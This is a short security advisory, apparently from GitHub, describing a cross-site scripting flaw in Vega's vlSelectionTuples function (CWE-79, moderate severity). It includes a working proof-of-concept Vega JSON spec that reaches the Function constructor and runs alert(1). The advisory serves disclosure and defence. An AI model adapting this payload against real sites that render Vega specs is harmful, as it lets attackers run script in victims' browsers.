The vlSelectionTuples
function can be used to call JavaScript functions, leading to XSS.
vlSelectionTuples
calls multiple functions that can be controlled by an attacker, including one call with an attacker-controlled argument.
Example call: vlSelectionTuples([{datum:<argument>}], {fields:[{getter:<function>}]})
This can be used to call Function()
with arbitrary JavaScript and the resulting function can be called with vlSelectionTuples
or using a type coercion to call toString
or valueOf
.
{"$schema":"https://vega.github.io/schema/vega/v5.json","signals":[{"name":"a","init":"+{valueOf:vlSelectionTuples([{datum:'alert(1)'}],{fields:[{getter:[].at.constructor}]})[0].values[0]}"}]}
{ "github_reviewed_at": "2025-02-14T17:33:58Z", "cwe_ids": [ "CWE-79" ], "nvd_published_at": "2025-02-14T20:15:36Z", "severity": "MODERATE", "github_reviewed": true }